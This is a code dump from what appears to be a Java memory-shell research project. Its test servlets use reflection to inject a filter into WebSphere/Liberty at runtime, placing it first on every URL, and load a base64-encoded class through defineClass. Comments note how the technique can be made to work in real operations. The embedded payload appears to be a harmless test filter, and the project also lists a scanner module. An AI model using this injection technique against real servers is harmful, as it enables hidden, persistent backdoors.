-------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.weblogic; 2 | 3 | 4 | import sun.misc.BASE64Decoder; 5 | 6 | import java.io.IOException; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | 10 | /** 11 | * @author su18 12 | */ 13 | public class DynamicUtils { 14 | 15 | 16 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh"; 17 | 18 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 19 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 20 | BASE64Decoder base64Decoder = new BASE64Decoder(); 21 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 22 | 23 | Method method = null; 24 | Class clz = loader.getClass(); 25 | while (method == null && clz != Object.class) { 26 | try { 27 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 28 | } catch (NoSuchMethodException ex) { 29 | clz = clz.getSuperclass(); 30 | } 31 | } 32 | 33 | if (method != null) { 34 | method.setAccessible(true); 35 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 36 | } 37 | 38 | return null; 39 | 40 | } 41 | } 42 | 43 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-weblogic/src/org/su18/memshell/test/weblogic/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.weblogic; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class IndexServlet extends HttpServlet { 13 | 14 | @Override 15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 16 | String message = "weblogic index servlet test"; 17 | String id = req.getParameter("id"); 18 | 19 | StringBuilder sb = new StringBuilder(); 20 | sb.append(message); 21 | if (id != null && !id.isEmpty()) { 22 | sb.append("\nid: ").append(id); 23 | } 24 | 25 | resp.getWriter().println(sb); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-weblogic/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | IndexServlet 9 | org.su18.memshell.test.weblogic.IndexServlet 10 | 11 | 12 | 13 | AddWeblogicFilter 14 | org.su18.memshell.test.weblogic.AddWeblogicFilter 15 | 16 | 17 | 18 | IndexServlet 19 | /index 20 | 21 | 22 | 23 | AddWeblogicFilter 24 | /addWeblogicFilter 25 | 26 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-websphere/src/org/su18/memshell/test/websphere/AddWebsphereFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.websphere; 2 | 3 | import javax.servlet.DispatcherType; 4 | import javax.servlet.Filter; 5 | import javax.servlet.ServletContext; 6 | import javax.servlet.ServletException; 7 | import javax.servlet.http.HttpServlet; 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.io.IOException; 11 | import java.lang.reflect.Field; 12 | import java.lang.reflect.Method; 13 | import java.util.EnumSet; 14 | import java.util.List; 15 | 16 | import static org.su18.memshell.test.websphere.DynamicUtils.FILTER_CLASS_STRING; 17 | 18 | /** 19 | * 来自项目 https://github.com/feihong-cs/memShell 20 | * 亲测有效 21 | * 测试版本 WebSphere/Liberty 20.0.0.12 22 | * 需要注意的是,feihong-cs 师傅在项目中测试的是较低版本的 websphere,我测试的是较高版本的 OpenLiberty 23 | * 在这个版本中 com.ibm.ws.webcontainer.filter.WebAppFilterManager 有一个 this.chainCache 机制 24 | * 导致如果一个真实存在的 Servlet 如果进行访问过,则其 filterchain 可能被缓存,动态添加的 filter 可能不生效 25 | * 如果没访问过,添加 filter 后即可生效,高版本实战中可以考虑在缓存中添加 filter 的操作 26 | * 27 | * @author su18 28 | */ 29 | public class AddWebsphereFilter extends HttpServlet { 30 | 31 | @Override 32 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 33 | try { 34 | String filterName = "su18WebsphereFilter"; 35 | String urlPattern = "/*"; 36 | 37 | ServletContext servletContext = req.getServletContext(); 38 | 39 | Field field = servletContext.getClass().getSuperclass().getSuperclass().getDeclaredField("context"); 40 | field.setAccessible(true); 41 | Object context = field.get(servletContext); 42 | 43 | field = context.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("config"); 44 | field.setAccessible(true); 45 | Object webAppConfiguration = field.get(context); 46 | 47 | Method method = null; 48 | Method[] methods = webAppConfiguration.getClass().getMethods(); 49 | for (int i = 0; i < methods.length; i++) { 50 | if (methods[i].getName().equals("getFilterMappings")) { 51 | method = methods[i]; 52 | break; 53 | } 54 | } 55 | List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); 56 | 57 | boolean flag = false; 58 | for (int i = 0; i < filerMappings.size(); i++) { 59 | Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); 60 | String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); 61 | if (name.equals(filterName)) { 62 | flag = true; 63 | break; 64 | } 65 | } 66 | 67 | //如果已存在同名的 Filter,就不在添加,防止重复添加 68 | if (!flag) { 69 | 70 | Filter filter = (Filter) DynamicUtils.getClass(FILTER_CLASS_STRING).newInstance(); 71 | 72 | Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName}); 73 | filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); 74 | 75 | method = null; 76 | methods = webAppConfiguration.getClass().getMethods(); 77 | for (int i = 0; i < methods.length; i++) { 78 | if (methods[i].getName().equals("addFilterInfo")) { 79 | method = methods[i]; 80 | break; 81 | } 82 | } 83 | method.invoke(webAppConfiguration, new Object[]{filterConfig}); 84 | 85 | field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); 86 | field.setAccessible(true); 87 | Object original = field.get(filterConfig); 88 | 89 | //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 90 | field.set(filterConfig, null); 91 | 92 | method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); 93 | method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}}); 94 | 95 | //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 96 | field.set(filterConfig, original); 97 | 98 | method = null; 99 | methods = webAppConfiguration.getClass().getMethods(); 100 | for (int i = 0; i < methods.length; i++) { 101 | if (methods[i].getName().equals("getUriFilterMappings")) { 102 | method = methods[i]; 103 | break; 104 | } 105 | } 106 | 107 | //这里的目的是为了将我们添加的动态 Filter 放到第一位 108 | List uriFilterMappingInfos = (List) method.invoke(webAppConfiguration, new Object[0]); 109 | uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); 110 | 111 | resp.getWriter().println("websphere/liberty filter added"); 112 | } 113 | } catch (Exception e) { 114 | e.printStackTrace(); 115 | } 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-websphere/src/org/su18/memshell/test/websphere/DynamicUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.websphere; 2 | 3 | import sun.misc.BASE64Decoder; 4 | 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class DynamicUtils { 13 | 14 | 15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh"; 16 | 17 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 18 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 19 | BASE64Decoder base64Decoder = new BASE64Decoder(); 20 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 21 | 22 | Method method = null; 23 | Class clz = loader.getClass(); 24 | while (method == null && clz != Object.class) { 25 | try { 26 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 27 | } catch (NoSuchMethodException ex) { 28 | clz = clz.getSuperclass(); 29 | } 30 | } 31 | 32 | if (method != null) { 33 | method.setAccessible(true); 34 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 35 | } 36 | 37 | return null; 38 | 39 | } 40 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-websphere/src/org/su18/memshell/test/websphere/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.websphere; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class IndexServlet extends HttpServlet { 13 | 14 | @Override 15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 16 | String message = "websphere/liberty index servlet test"; 17 | String id = req.getParameter("id"); 18 | 19 | StringBuilder sb = new StringBuilder(); 20 | sb.append(message); 21 | if (id != null && !id.isEmpty()) { 22 | sb.append("\nid: ").append(id); 23 | } 24 | 25 | resp.getWriter().println(sb); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-websphere/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | IndexServlet 9 | org.su18.memshell.test.websphere.IndexServlet 10 | 11 | 12 | 13 | AddWebsphereFilter 14 | org.su18.memshell.test.websphere.AddWebsphereFilter 15 | 16 | 17 | 18 | IndexServlet 19 | /index 20 | 21 | 22 | 23 | 24 | AddWebsphereFilter 25 | /addWebsphereFilter 26 | 27 | -------------------------------------------------------------------------------- /memshell-test/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | MemoryShell 7 | org.su18 8 | 1.0.0 9 | 10 | 4.0.0 11 | 12 | 13 | 14 | javax.servlet 15 | javax.servlet-api 16 | 3.1.0 17 | provided 18 | 19 | 20 | 21 | memshell-test 22 | 23 | 24 | 8 25 | 8 26 | 27 | 28 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.su18 8 | MemoryShell 9 | pom 10 | 1.0.0 11 | 12 | memshell-scanner 13 | memshell-spring 14 | memshell-inject 15 | memshell-test 16 | memshell-loader 17 | 18 | 19 | 20 | 21 | 22 | 23 | org.springframework.boot 24 | spring-boot-maven-plugin 25 | 1.5.4.RELEASE 26 | 27 | 28 | 29 | 30 | 31 | 8 32 | 8 33 | 34 | 35 | -------------------------------------------------------------------------------- /suagent/banner.txt: -------------------------------------------------------------------------------- 1 | _.-^^---....,,-- 2 | _-- --_ 3 | < >) 4 | | | 5 | \._ _./ 6 | ```--. . , ; .--''' 7 | | | | 8 | .-=|| | |=-. 9 | `-=#$%&%$#=-' 10 | | ; :| 11 | _____.,-#%&$@%#&#~,._____ 12 | --------------------------------------------------------------------------------